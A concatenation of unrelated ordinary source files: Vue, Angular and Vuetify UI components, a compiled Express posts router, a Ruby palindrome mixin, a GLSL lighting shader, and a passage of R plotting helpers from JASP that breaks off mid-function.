import { ACCEPT_INVITATION, DECLINE_INVITATION } from '../graphql/mutations'
export default {
name: 'Invitation',
apollo: {
checkInvitation: {
query: CHECK_INVITATION,
variables () {
return {
id: this.invitationId,
}
},
fetchPolicy: 'cache-only',
},
},
data () {
return {
acceptLoading: false,
declineLoading: false,
}
},
computed: {
invitationId () {
return this.$route.params.invitationId
},
company () {
if (!this.checkInvitation) return ''
return this.checkInvitation.orgName
},
},
methods: {
async acceptInvitation () {
try {
this.acceptLoading = true
await this.$apollo.mutate({
mutation: ACCEPT_INVITATION,
variables: {
id: this.invitationId,
},
})
const orgId = this.checkInvitation.orgId
this.$router.push({ name: 'specs', params: { orgId } })
} catch (error) {
throw new Error(error)
} finally {
this.acceptLoading = false
}
},
async declineInvitation () {
try {
this.declineLoading = true
await this.$apollo.mutate({
mutation: DECLINE_INVITATION,
variables: {
id: this.invitationId,
},
})
this.$router.push({ name: 'home' })
} catch (error) {
throw new Error(error)
} finally {
this.declineLoading = false
}
},
},
}
</script>
|
"use strict";
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : new P(function (resolve) { resolve(result.value); }).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = require("express");
const Post_1 = __importDefault(require("../models/Post"));
class PostRoutes {
constructor() {
this.getPosts = (req, res) => __awaiter(this, void 0, void 0, function* () {
const posts = yield Post_1.default.find();
res.json(posts);
});
this.getPost = (req, res) => __awaiter(this, void 0, void 0, function* () {
const { url } = req.params;
const post = yield Post_1.default.findOne({ url: url });
res.json(post);
});
this.createPost = (req, res) => __awaiter(this, void 0, void 0, function* () {
const { title, url, content, image } = req.body;
const newPost = new Post_1.default({ title, url, content, image });
yield newPost.save();
res.json({ data: newPost });
});
this.updatePost = (req, res) => __awaiter(this, void 0, void 0, function* () {
const { url } = req.params;
const updatedPost = yield Post_1.default.findOneAndUpdate({ url: url }, req.body, {
new: true
});
res.json(updatedPost);
});
this.deletePost = (req, res) => __awaiter(this, void 0, void 0, function* () {
const { url } = req.params;
yield Post_1.default.findOneAndDelete({ url: url });
res.json({ message: "Post deleted successfully" });
});
this.routes = () => {
this.router.get("/", this.getPosts);
this.router.get("/:url", this.getPost);
this.router.post("/", this.createPost);
this.router.put("/:url", this.updatePost);
this.router.delete("/:url", this.deletePost);
};
this.router = express_1.Router();
this.routes();
}
}
const postRoutes = new PostRoutes();
exports.default = postRoutes.router;
|
# frozen_string_literal: true
require_relative "JohnPaulIII_palindrome/version"
module JohnPaulIIIPalindrome
# Returns true for a palindrome, false otherwise.
def palindrome?
processed_content == processed_content.reverse && processed_content != ""
end
private
# Returns content for palindrome testing.
def processed_content
to_s.scan(/[a-z0-9]/i).join.downcase
end
end
class String
include JohnPaulIIIPalindrome
end
class Integer
include JohnPaulIIIPalindrome
end
|
<main class="header-partner">
<div *ngIf="partner" class="licni-podaci">
<div class="d-flex flex-column flex-xl-row">
<div class="strana">
<div class="header2">
<h1>Licni podaci</h1>
</div>
<ul>
<li>
<span class="leva-strana">
Naziv:
</span> <span class="desna-strana"> {{partner.naziv | titlecase}} </span>
</li>
<li><span class="leva-strana">Adresa:</span>
<span *ngIf="partner.adresa">{{partner.adresa | titlecase}}</span>
<span *ngIf="!partner.adresa" class="boja-siva-200">Ne postoji podatak</span>
</li>
<li>
<span class="leva-strana">Email:</span>
<span *ngIf="partner.email">{{partner.email | lowercase}}</span>
<span *ngIf="!partner.email" class="boja-siva-200">Ne postoji podatak</span>
</li>
<li><span class="leva-strana">Stanje:</span>
<span *ngIf="partner.stanje" [ngClass]="{'dugovanje': daLiDuguje}"><b>{{partner.stanje | currency:" "}}
RSD</b></span>
<span *ngIf="!partner.stanje" class="boja-siva-200">Ne postoji podatak</span>
</li>
</ul>
</div>
<div class="strana2">
<div class="header2">
<h1>Akcije</h1>
</div>
<mat-accordion>
<mat-expansion-panel class="exp-panel">
<mat-expansion-panel-header>
<mat-panel-title>
<p class="panel">Promenite adresu</p>
</mat-panel-title>
</mat-expansion-panel-header>
<form role="form" [formGroup]="adresaForm">
<div>
<mat-form-field>
<input type="text" #ulica formControlName="ulica"
[ngClass]="{ 'is-invalid': adresaSubmited && a.ulica.errors }" matInput placeholder="Ulica i broj">
</mat-form-field>
</div>
<div *ngIf="adresaSubmited && a.ulica.errors">
<div *ngIf="a.ulica.errors.required">
<p class="upozorenje">Naziv ulice je obavezan</p>
</div>
<div *ngIf="a.ulica.errors.minlength">
<p class="upozorenje">Naziv ulice mora imati minimalno 3 karaktera</p>
</div>
</div>
<div>
<mat-form-field>
<input type="text" #grad formControlName="grad" matInput
[ngClass]="{ 'is-invalid': adresaSubmited && a.grad.errors }" placeholder="Grad">
</mat-form-field>
<div *ngIf="adresaSubmited && a.grad.errors">
<div *ngIf="a.grad.errors.required">
<p class="upozorenje">Naziv grada je obavezan</p>
</div>
<div *ngIf="a.grad.errors.minlength">
<p class="upozorenje">Naziv grada mora imati minimalno 2 karaktera</p>
</div>
</div>
</div>
<div class="button-div">
<button class="button-glavni-100" (click)="promeniAdresu(ulica.value, grad.value)"
mat-raised-button>Sacuvaj</button>
<button class="button-crveni-50 float-right"
(click)="ulica.value = ''; grad.value = ''; adresaSubmited=false" mat-raised-button>Poništi</button>
</div>
</form>
</mat-expansion-panel>
<mat-expansion-panel class="exp-panel">
<mat-expansion-panel-header>
<mat-panel-title>
<p class="panel">Promenite email</p>
</mat-panel-title>
</mat-expansion-panel-header>
<form role="form" [formGroup]="emailForm">
<div>
<mat-form-field>
<input type="email" #email formControlName="email" matInput
[ngClass]="{ 'is-invalid': emailSubmited && e.email.errors }" placeholder="Novi email...">
</mat-form-field>
</div>
<div *ngIf="emailSubmited && e.email.errors">
<div *ngIf="e.email.errors.required">
<p class="upozorenje">Email je obavezan</p>
</div>
<div *ngIf="e.email.errors.email">
<p class="upozorenje">Email nije validan</p>
</div>
</div>
<div class="button-div">
<button class="button-glavni-100" (click)="promeniLEmail(email.value)"
mat-raised-button>Sacuvaj</button>
<button class="button-crveni-50 float-right" (click)="email.value = ''; emailSubmited=false"
mat-raised-button>Poništi</button>
</div>
</form>
</mat-expansion-panel>
<mat-expansion-panel class="exp-panel">
<mat-expansion-panel-header>
<mat-panel-title>
<p class="panel">Promenite korisničko ime</p>
</mat-panel-title>
</mat-expansion-panel-header>
<form role="form" [formGroup]="usernameForm">
<div>
<mat-form-field>
<input type="text" #username formControlName="username"
[ngClass]="{ 'email-selected': korisnickoImeMetod === 'email'}"
(keyup)="usernameSubmited = false; korisnickoImeJeZauzeto = false;"
[attr.disabled]="daLiKorisnickoImeTrebaDaBudeEmail() ? '' : null" matInput
placeholder="Novo korisničko ime">
</mat-form-field>
</div>
<div *ngIf="usernameSubmited && u.username.errors">
<div *ngIf="u.username.errors.required && korisnickoImeMetod != 'email'">
<p class="upozorenje">Korisničko ime je obavezno</p>
</div>
<div *ngIf="u.username.errors.minlength && korisnickoImeMetod != 'email'">
<p class="upozorenje">Korisničko ime mora imati vise od 3 karaktera</p>
</div>
</div>
<div *ngIf="usernameSubmited && korisnickoImeJeZauzeto">
<p class="upozorenje">Korisničko ime je vec zazueto</p>
</div>
<div class="button-div">
<button class="button-glavni-100" (click)="promeniUsername()" mat-raised-button>Sacuvaj</button>
<button class="button-crveni-50 float-right"
(click)="username.value = ''; usernameSubmited=false" mat-raised-button>Poništi</button>
</div>
</form>
</mat-expansion-panel>
<mat-expansion-panel class="exp-panel">
<mat-expansion-panel-header>
<mat-panel-title>
<p class="panel">Promenite šifru</p>
</mat-panel-title>
</mat-expansion-panel-header>
<form role="form" [formGroup]="passwordForm">
<div>
<mat-form-field>
<input matInput type="password" #staraSifra (keyup)="losaSifra = false;"formControlName="staraSifra" placeholder="Stara šifra">
</mat-form-field>
<div *ngIf="passwordSubmited && !s.staraSifra.errors && losaSifra">
<p class="upozorenje">Stara šifra nije tačna</p>
</div>
<div *ngIf="passwordSubmited && s.staraSifra.errors">
<div *ngIf="s.staraSifra.errors.required">
<p class=" upozorenje">Stara šifra je obavezna</p>
</div>
<div *ngIf="s.staraSifra.errors.minlength">
<p class="upozorenje">Korisničko ime mora imati vise od 3 karaktera</p>
</div>
</div>
<div>
<mat-form-field>
<input matInput type="password" #novaSifra formControlName="novaSifra" placeholder="Nova šifra">
</mat-form-field>
</div>
<div *ngIf="passwordSubmited && s.novaSifra.errors">
<div *ngIf="s.novaSifra.errors.required">
<p class=" upozorenje">Nova šifra je obavezna</p>
</div>
<div *ngIf="s.novaSifra.errors.minlength">
<p class="upozorenje">Nova sifra mora imati vise od 3 karaktera</p>
</div>
</div>
<div>
<mat-form-field>
<input matInput type="password" #novaSifra2 formControlName="novaSifra2"
placeholder="Ponovite novu šifru">
</mat-form-field>
</div>
<div *ngIf="passwordSubmited && s.novaSifra2.errors">
<div *ngIf="s.novaSifra2.errors.required">
<p class=" upozorenje">Nova šifra je obavezna</p>
</div>
<div *ngIf="s.novaSifra2.errors.minlength">
<p class="upozorenje">Nova sifra mora imati vise od 3 karaktera</p>
</div>
</div>
<div *ngIf="novaSifra.value != novaSifra2.value && !s.novaSifra.errors && !s.novaSifra2.errors && passwordSubmited">
<p class="upozorenje">Nova sifra nije ista</p>
</div>
<div class="button-div">
<button class="button-glavni-100"
(click)="promeniSifru(staraSifra.value, novaSifra.value, novaSifra2.value)"
mat-raised-button>Sacuvaj</button>
<button *ngIf="korisnickoImeMetod != 'email'" class="button-crveni-50 float-right"
(click)="staraSifra.value = ''; novaSifra.value = ''; novaSifra2.value = ''; passwordSubmited=false"
mat-raised-button>Poništi</button>
</div>
</div>
</form>
</mat-expansion-panel>
</mat-accordion>
</div>
</div>
</div>
</main>
|
#version 330 core
// Atributos de vértice recebidos como entrada ("in") pelo Vertex Shader.
// Veja a função BuildTrianglesAndAddToVirtualScene() em "main.cpp".
layout (location = 0) in vec4 model_coefficients;
layout (location = 1) in vec4 normal_coefficients;
layout (location = 2) in vec2 texture_coefficients;
// Matrizes computadas no código C++ e enviadas para a GPU
uniform mat4 model;
uniform mat4 view;
uniform mat4 projection;
// Atributos de vértice que serão gerados como saída ("out") pelo Vertex Shader.
// ** Estes serão interpolados pelo rasterizador! ** gerando, assim, valores
// para cada fragmento, os quais serão recebidos como entrada pelo Fragment
// Shader. Veja o arquivo "shader_fragment.glsl".
out vec4 position_world;
out vec4 position_model;
out vec4 normal;
out vec2 texcoords;
out vec4 gouraud;
uniform vec4 light_pos;
uniform sampler2D TextureImage3;
void main()
{
// A variável gl_Position define a posição final de cada vértice
// OBRIGATORIAMENTE em "normalized device coordinates" (NDC), onde cada
// coeficiente estará entre -1 e 1 após divisão por w.
// Veja {+NDC2+}.
//
// O código em "main.cpp" define os vértices dos modelos em coordenadas
// locais de cada modelo (array model_coefficients). Abaixo, utilizamos
// operações de modelagem, definição da câmera, e projeção, para computar
// as coordenadas finais em NDC (variável gl_Position). Após a execução
// deste Vertex Shader, a placa de vídeo (GPU) fará a divisão por W. Veja
// slides 41-67 e 69-86 do documento Aula_09_Projecoes.pdf.
gl_Position = projection * view * model * model_coefficients;
// Como as variáveis acima (tipo vec4) são vetores com 4 coeficientes,
// também é possível acessar e modificar cada coeficiente de maneira
// independente. Esses são indexados pelos nomes x, y, z, e w (nessa
// ordem, isto é, 'x' é o primeiro coeficiente, 'y' é o segundo, ...):
//
// gl_Position.x = model_coefficients.x;
// gl_Position.y = model_coefficients.y;
// gl_Position.z = model_coefficients.z;
// gl_Position.w = model_coefficients.w;
//
// Agora definimos outros atributos dos vértices que serão interpolados pelo
// rasterizador para gerar atributos únicos para cada fragmento gerado.
// Posição do vértice atual no sistema de coordenadas global (World).
position_world = model * model_coefficients;
// Posição do vértice atual no sistema de coordenadas local do modelo.
position_model = model_coefficients;
// Normal do vértice atual no sistema de coordenadas global (World).
// Veja slides 123-151 do documento Aula_07_Transformacoes_Geometricas_3D.pdf.
normal = inverse(transpose(model)) * normal_coefficients;
normal.w = 0.0;
// Coordenadas de textura obtidas do arquivo OBJ (se existirem!)
texcoords = texture_coefficients;
vec4 origin = vec4(0.0, 0.0, 0.0, 1.0);
vec4 camera_position = inverse(view) * origin;
// Espectro da fonte de iluminação
vec3 I = vec3(1.0,1.0,1.0); // espectro da fonte de luz
// Espectro da luz ambiente
vec3 Ia = vec3(0.7,0.9,0.7); // espectro da luz ambiente
vec3 Ks = vec3(0.2f, 0.2f, 0.2f);
int q = 30;
vec3 Kd0 = texture(TextureImage3, texcoords).rgb;
vec3 Ka = Kd0 * 0.5f;
// Vetor que define o sentido da câmera em relação ao ponto atual.
vec4 v = normalize(camera_position - position_world);
vec4 l = normalize(light_pos - position_world);
vec4 n = normalize(normal);
vec4 r = -l+(2*n*(dot(n,l)));
vec3 lambert = Kd0 * I * max(0,dot(n,l));
vec3 ambient_term = Ka * Ia;
// Avaliar equação do modelo de iluminação:
gouraud.rgb = ambient_term + lambert + Ks*I*max(0,dot(r,v));
}
|
<template>
<div>
<v-btn
icon
class="my-2"
@click="dialog = true"
>
<v-icon>mdi-pencil</v-icon>
</v-btn>
<v-dialog
v-model="dialog"
max-width="400px"
>
<v-card>
<v-card-title>Edit data</v-card-title>
<v-card-text>
<v-container>
<v-row class="pa-0 ma-0">
<v-col cols="4" class="pa-0 ma-0">
<v-subheader>Firstname</v-subheader>
</v-col>
<v-col cols="8" class="pa-0 ma-0">
<v-text-field
v-model="firstname"
label="Firstname"
solo
outlined
clearable
></v-text-field>
</v-col>
</v-row>
<v-row class="pa-0 ma-0">
<v-col cols="4" class="pa-0 ma-0">
<v-subheader>Lastname</v-subheader>
</v-col>
<v-col cols="8" class="pa-0 ma-0">
<v-text-field
v-model="lastname"
label="Lastname"
solo
outlined
clearable
></v-text-field>
</v-col>
</v-row>
<v-row class="pa-0 ma-0">
<v-col cols="4" class="pa-0 ma-0">
<v-subheader>Birthday</v-subheader>
</v-col>
<v-col cols="8" class="pa-0 ma-0">
<v-menu
ref="menu"
v-model="menu"
:close-on-content-click="false"
:return-value.sync="birthday"
transition="scale-transition"
offset-y
min-width="auto"
>
<template v-slot:activator="{ on, attrs }">
<v-text-field
v-model="birthday"
label="Birthday"
v-bind="attrs"
v-on="on"
readonly
solo
outlined
clearable
></v-text-field>
</template>
<v-date-picker
v-model="birthday"
no-title
scrollable
>
<v-spacer></v-spacer>
<v-btn
text
color="primary"
@click="menu = false"
>
Cancel
</v-btn>
<v-btn
text
color="primary"
@click="$refs.menu.save(birthday)"
>
OK
</v-btn>
</v-date-picker>
</v-menu>
</v-col>
</v-row>
</v-container>
</v-card-text>
<v-card-actions>
<v-spacer></v-spacer>
<v-btn
color="primary"
text
@click="dialog = false"
>
Close
</v-btn>
<v-btn
color="primary"
@click="editPerson"
>
Save
</v-btn>
</v-card-actions>
</v-card>
</v-dialog>
</div>
</template>
<script>
export default {
name: 'EditPerson',
props: ['person'],
data () {
return {
dialog: false,
menu: false,
id: this.person.id,
firstname: this.person.firstname,
lastname: this.person.lastname,
birthday: this.person.birthday
}
},
created () {
this.formatBirthday()
},
methods: {
editPerson () {
try {
this.$axios.post('/api/editperson', {
id: this.id,
firstname: this.firstname,
lastname: this.lastname,
birthday: this.birthday
})
.then(
this.dialog = false
)
} catch (err) {
console.log(err)
}
},
formatBirthday () {
const formattedBirthday = this.birthday.split('', 10).join('')
this.birthday = formattedBirthday
return this.birthday
}
}
}
</script>
<style>
</style>
|
<template>
<div
class="toast"
role="alert"
ref="toast"
>
<div
class="toast-header"
:class="{
'text-bg-danger': !singleMsg.success,
'text-bg-success': singleMsg.success
}"
>
<strong class="me-auto">{{ singleMsg.event }}</strong>
</div>
<div class="toast-body" :class="{ 'text-muted': !singleMsg.message }">
{{ fullMessage }}
</div>
</div>
</template>
<script>
import Toast from 'bootstrap/js/dist/toast.js'
export default {
props: ['singleMsg'],
data() {
return {
toast: {}
}
},
computed: {
fullMessage() {
if (!this.singleMsg.message) {
return '動作完成'
} else if (Array.isArray(this.singleMsg.message)) {
return this.singleMsg.message.join('、')
} else {
return this.singleMsg.message
}
}
},
mounted() {
const toast = new Toast(this.$refs.toast, {
delay: 4000
})
toast.show()
}
}
</script>
|
#
# Copyright (C) 2019 University of Amsterdam
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# developmental stuff
RDEBUG <- function(message){
if(file.exists("D:/Projects/jasp/jasp-R-debug/RDEBUG.txt")){
sink(file = "D:/Projects/jasp/jasp-R-debug/RDEBUG.txt", append = TRUE)
cat(message)
cat("\n")
sink(file = NULL)
}
}
saveOptions <- function(options){
if(file.exists("D:/Projects/jasp/jasp-R-debug/options.RDS"))
saveRDS(options, file = "D:/Projects/jasp/jasp-R-debug/options.RDS")
}
# general functions
.evaluate_priors <- function(priors){
for(p in 1:length(priors)){
for(i in 1:length(priors[[p]])){
temp_p <- priors[[p]][[i]]
if (names(priors[[p]])[i] %in% c("parAlpha", "parBeta", "parPoint", "parMu", "parSigma", "PH")){
priors[[p]][[paste(names(priors[[p]])[i],"inp", sep = "_")]] <- priors[[p]][[i]]
priors[[p]][[i]] <- eval(parse(text = priors[[p]][[i]]))
}
}
if (priors[[p]][["name"]] == ""){
priors[[p]][["name"]] <- gettextf(
"%s %i",
ifelse(any(names(priors[[p]]) %in% c("PH")), "Hypothesis", "Model"),
p
)
}
}
if (anyDuplicated(sapply(priors, function(p)p$name)) != 0){
JASP:::.quitAnalysis(gettextf(
"Please remove duplicates from the %s names.",
ifelse(any(names(priors[[p]]) %in% c("PH")), "Hypotheses", "Models")
))
}
return(priors)
}
.scale_priors <- function(priors){
unscaled <- sapply(priors, function(x)x$PH)
scaled <- unscaled/sum(unscaled)
for(i in 1:length(priors)){
priors[[i]]$PH <- scaled[i]
}
return(priors)
}
.aproximateSupportLS <- function(x_seq, TF_seq){
x_start <- NULL
x_end <- NULL
r <- rle(TF_seq)
if (length(r$values) > 0){
for(i in 1:length(r$values)){
if (r$values[i]){
if (i == 1){
x_start <- c(x_start, 1)
x_end <- c(x_end, r$lengths[1])
} else {
x_start <- c(x_start, sum(r$lengths[1:(i-1)])+1)
x_end <- c(x_end, sum(r$lengths[1:i]))
}
}
}
} else {
x_start <- NA
x_end <- NA
}
return(cbind.data.frame("lCI" = x_seq[x_start], "uCI" = x_seq[x_end]))
}
.clean_sequence <- function(sequence){
sequence <- gsub(",", "\n", sequence)
sequence <- gsub(";", "\n", sequence)
sequence <- unlist(strsplit(sequence, split = "\n"))
sequence <- trimws(sequence, which = c("both"))
sequence <- sequence[sequence != ""]
return(sequence)
}
# plotting functions
.plotPriorPosteriorLS <- function(all_lines, all_arrows, dfPoints = NULL, xName = NULL, xRange = c(0,1)){
mappingArrow <- ggplot2::aes(x = x, xend = x, y = y_start, yend = y_end, color = g)
mappingLines <- ggplot2::aes(x = x, y = y, color = g)
mappingPoint <- ggplot2::aes(x = x, y = y, color = g)
if (!is.null(all_lines))all_lines <- do.call("rbind", all_lines)
if (!is.null(all_arrows))all_arrows <- do.call("rbind", all_arrows)
# get the y_axis max
y_max <- .getYMax(all_lines, all_arrows)
g <- ggplot2::ggplot()
if (!is.null(all_arrows)){
for(i in nrow(all_arrows):1){
temp_arrow <- all_arrows[i,]
temp_arrow$y_end <- temp_arrow$y_end * .scalingSpikes(all_lines, all_arrows)
g <- g + ggplot2::geom_segment(
data = temp_arrow,
mapping = mappingArrow,
size = 1,
linetype = 1,
arrow = ggplot2::arrow(length = ggplot2::unit(0.5, "cm")),
show.legend = F) +
ggplot2::geom_segment(
data = temp_arrow,
mapping = mappingArrow,
size = 1)
}
x_high <- max(all_arrows$x)
}
if (!is.null(all_lines)){
for(i in 1:length(unique(all_lines$g))){
temp_line <- all_lines[all_lines$g == unique(all_lines$g)[i], ]
temp_type <- i
g <- g + ggplot2::geom_line(
data = temp_line,
mapping = mappingLines,
size = 1,
linetype = temp_type)
}
x_high <- all_lines$x[which.max(all_lines$y)]
}
g <- g + .plotXAxis(xName, xRange, FALSE)
g <- g + .plotYAxis(all_lines, all_arrows, NULL)
if (!is.null(dfPoints)){
g <- g + ggplot2::geom_point(data = dfPoints, mapping = mappingPoint, show.legend = TRUE,
inherit.aes = FALSE, size = 4, shape = 4,
stroke = 1.25, fill = "grey")
if (!is.null(all_arrows)){
g <- g + ggplot2::scale_color_manual("",
values = c(c("black", "gray")[1:length(unique(all_arrows$g))], "black"),
breaks = c(as.character(all_arrows$g), as.character(unique(dfPoints$g))),
guide = ggplot2::guide_legend(override.aes = list(
linetype = if (length(unique(all_arrows$g)) == 1) c(1, NA) else c(1, 2, NA),
shape = if (length(unique(all_arrows$g)) == 1) c(NA, 4) else c(NA, NA, 4)
)))
} else {
g <- g + ggplot2::scale_color_manual("",
values = c("black", "gray", "black")[c(1:length(unique(all_lines$g)), 3)],
breaks = c(unique(as.character(all_lines$g)), as.character(unique(dfPoints$g))),
guide = ggplot2::guide_legend(override.aes = list(
linetype = c( 1, 2, NA)[c(1:length(unique(all_lines$g)), 3)],
shape = c(NA, NA, 4)[c(1:length(unique(all_lines$g)), 3)]
)))
}
} else {
if (!is.null(all_arrows)){
g <- g + ggplot2::scale_color_manual("",
values = c("black", "gray")[1:length(unique(all_arrows$g))],
breaks = as.character(all_arrows$g),
guide = ggplot2::guide_legend(override.aes = list(
linetype = if (length(unique(all_arrows$g)) == 1) c(1) else c(1, 2),
shape = if (length(unique(all_arrows$g)) == 1) c(NA) else c(NA, NA)
)))
} else {
g <- g + ggplot2::scale_color_manual("",
values = c( "black", "gray")[1:length(unique(all_lines$g))],
breaks = c(unique(as.character(all_lines$g))),
guide = ggplot2::guide_legend(override.aes = list(
linetype = c( 1, 2)[1:length(unique(all_lines$g))],
shape = c(NA, NA)[1:length(unique(all_lines$g))]
)))
}
}
if (x_high > .5) {
legend.position = c(0.25, 1)
} else {
legend.position = c(0.75, 1)
}
g <- g + JASPgraphs::themeJaspRaw(legend.position = legend.position)
g <- g + JASPgraphs::geom_rangeframe(sides = if (!is.null(all_lines) & !is.null(all_arrows)) "lbr" else "lb") +
ggplot2::theme(
legend.title = ggplot2::element_blank(),
legend.text = ggplot2::element_text(margin = ggplot2::margin(0, 0, 2, 0)),
legend.key.height = ggplot2::unit(1, "cm"),
legend.key.width = ggplot2::unit(1.5,"cm")) +
.plotThemePlus(all_lines, all_arrows)
plot <- g
return(plot)
}
.plotOverlyingLS <- function(all_lines, all_arrows, dfPoints = NULL, point_estimate = NULL, CI = NULL, xName = NULL, yName = NULL,
xRange = c(0,1), palette = "colorblind", no_legend = FALSE, nRound = 3, discrete = FALSE,
proportions = FALSE){
mappingLines <- ggplot2::aes(x = x, y = y, group = g, color = g)
mappingArrows <- ggplot2::aes(x = x , xend = x, y = y_start, yend = y_end, group = g, color = g)
mappingArrows1 <- ggplot2::aes(x = x_start , xend = x_end, y = y, yend = y, group = g)
mappingArrows2 <- ggplot2::aes(x = x_end , xend = x_start, y = y, yend = y, group = g)
mappingText <- ggplot2::aes(x = x, y = y, label = label)
mappingPoint <- ggplot2::aes(x = x, y = y)
if (!is.null(all_lines))all_lines <- do.call("rbind", all_lines)
if (!is.null(all_arrows))all_arrows <- do.call("rbind", all_arrows)
# get the y_axis max
y_max <- .getYMax(all_lines, all_arrows)
# set the CI text
# set the CI text
if (!is.null(CI) || !is.null(point_estimate)){
# text for the interval
temp_label <- .CI_labelLS(CI, nRound, point_estimate)
} else {
temp_label <- NULL
}
if (!is.null(CI)){
CI <- cbind.data.frame(CI, "y" = y_max * 1.05)
}
if (discrete){
xBreaks <- JASPgraphs::getPrettyAxisBreaks(c(ceiling(xRange[1]),floor(xRange[2])))
xBreaks[length(xBreaks)] <- floor(xRange[2])
if (!proportions){
xBreaks <- round(xBreaks)
}
} else {
xBreaks <- JASPgraphs::getPrettyAxisBreaks(xRange)
}
g <- ggplot2::ggplot()
if (!is.null(all_arrows)){
all_arrows_scaled <- all_arrows
all_arrows_scaled$y_end <- all_arrows_scaled$y_end * .scalingSpikes(all_lines, all_arrows)
if (!is.null(point_estimate)){
if (point_estimate$spike[1]){
point_estimate$y <- point_estimate$y * .scalingSpikes(all_lines, all_arrows)
}
}
g <- g + ggplot2::geom_segment(
data = all_arrows_scaled,
mapping = mappingArrows,
size = 1,
arrow = ggplot2::arrow(length = ggplot2::unit(0.5, "cm")),
show.legend = F)
g <- g + ggplot2::geom_segment(
data = all_arrows_scaled,
mapping = mappingArrows,
size = 1)
}
if (!is.null(all_lines)){
g <- g + ggplot2::geom_line(data = all_lines, mapping = mappingLines, size = 1,)
}
if (!is.null(dfPoints)){
g <- g + ggplot2::geom_point(data = dfPoints, mapping = mappingPoint, show.legend = FALSE,
inherit.aes = FALSE, size = 4, shape = 4,
stroke = 1.25, fill = "grey")
}
if (!is.null(point_estimate)){
if (!anyNA(point_estimate$x)){
g <- g + ggplot2::geom_point(data = point_estimate, mapping = mappingPoint, show.legend = FALSE,
inherit.aes = FALSE, size = 4, shape = 21,
stroke = 1.25, fill = "grey")
}
}
if (no_legend == TRUE){
g <- g + ggplot2::scale_colour_manual(values = "black")
} else {
g <- g + JASPgraphs::scale_JASPcolor_discrete(palette)
}
# axes
g <- g + .plotXAxis(xName, xRange, discrete)
g <- g + .plotYAxis(all_lines, all_arrows, if (!is.null(CI) || !is.null(point_estimate)) "notNull" else NULL)
# legend
if (!is.null(all_lines)){
xr <- range(all_lines$x)
idx <- which.max(all_lines$y)
xmax <- all_lines$x[idx]
} else {
xr <- range(all_arrows$x)
idx <- which.max(all_arrows$y_end)
xmax <- all_arrows$x[idx]
}
if (!is.null(CI)){
if (!is.na(CI$x_start[1])){
g <- g + ggplot2::geom_segment(
data = CI,
mapping = mappingArrows1, size = 1,
arrow = ggplot2::arrow(angle = 90, length = ggplot2::unit(0.25, "cm")),
color = "black") + ggplot2::geom_segment(
data = CI,
mapping = mappingArrows2, size = 1,
arrow = ggplot2::arrow(angle = 90, length = ggplot2::unit(0.25, "cm")),
color = "black")
}
}
if (!is.null(CI) || !is.null(point_estimate)){
label_y <- if (length(temp_label) == 1) 1.10 else 1.25 - .07 * c(1:length(temp_label))
for(i in 1:length(temp_label)){
temp_text <- data.frame(
label = temp_label[i],
x = (xRange[1] + xRange[2])/2,
y = y_max * label_y[i]
)
g <- g + ggplot2::geom_text(
data = temp_text,
mapping = mappingText,
parse = TRUE,
hjust = .5, vjust = 0, size = 6
)
}
}
if (xmax > mean(xr)) {
legend.position = c(0.2, 0.8)
} else {
legend.position = c(0.8, 0.8)
}
if (no_legend == FALSE){
g <- g + JASPgraphs::themeJaspRaw(legend.position = legend.position)
} else {
g <- g + JASPgraphs::themeJaspRaw()
}
g <- g + JASPgraphs::geom_rangeframe(sides = if (!is.null(all_lines) & !is.null(all_arrows)) "lbr" else "lb") +
ggplot2::theme(
legend.title = ggplot2::element_blank(),
legend.text = ggplot2::element_text(margin = ggplot2::margin(0, 0, 2, 0)),
legend.key.height = ggplot2::unit(1, "cm"),
legend.key.width = ggplot2::unit(1.5,"cm")) +
.plotThemePlus(all_lines, all_arrows)
plot <- g
return(plot)
}
.plotStackedLS <- function(all_lines, all_arrows, legend, dfPoints = NULL, xName = NULL, yName = gettext("Density"),
xRange = c(0,1), lCI = NULL, uCI = NULL, discrete = FALSE, proportions = FALSE){
mappingLines <- ggplot2::aes(x = x, y = y, group = g, color = g)
mappingArrows <- ggplot2::aes(x = x , xend = x, y = y_start, yend = y_end, group = g, color = g)
mappingLegend <- ggplot2::aes(x = x, y = y, label = name)
mappingPoint <- ggplot2::aes(x = x, y = y)
if (!is.null(all_lines)){
all_linesD <- all_lines
all_linesL <- all_lines
for(i in 1:length(all_linesD)){
if (is.null(lCI) & is.null(uCI)){
all_linesD[[i]] <- rbind.data.frame(
data.frame(x = xRange[1], y = 0, g = all_linesD[[i]]$g[1]),
all_linesD[[i]],
data.frame(x = xRange[2], y = 0, g = all_linesD[[i]]$g[1])
)
} else {
all_linesD[[i]] <- rbind.data.frame(
data.frame(x = lCI, y = 0, g = all_linesD[[i]]$g[1]),
all_linesD[[i]][all_linesD[[i]]$x > lCI & all_linesD[[i]]$x < uCI,],
data.frame(x = uCI, y = 0, g = all_linesD[[i]]$g[1])
)
}
all_linesL[[i]] <- data.frame(x = xRange, y = rep(0, 2), g = all_linesD[[i]]$g[1] )
}
all_lines <- do.call("rbind", all_lines)
all_linesD <- do.call("rbind", all_linesD)
all_linesL <- do.call("rbind", all_linesL)
}
if (!is.null(all_arrows)){
all_arrowsL <- list()
for(i in 1:length(all_arrows)){
all_arrowsL[[i]] <- data.frame(y = rep(all_arrows[[i]]$y_start, 2), x = xRange,
g = rep(all_arrows[[i]]$g, 2))
}
all_arrows <- do.call("rbind", all_arrows)
all_arrowsL<- do.call("rbind", all_arrowsL)
}
legend <- data.frame(legend)
colnames(legend) <- c("type", "name")
legend$type <- as.character(legend$type)
legend$name <- as.character(legend$name)
if (!is.null(all_lines)){
obsYmax <- max(all_lines$y)
if (!is.null(all_arrows)){
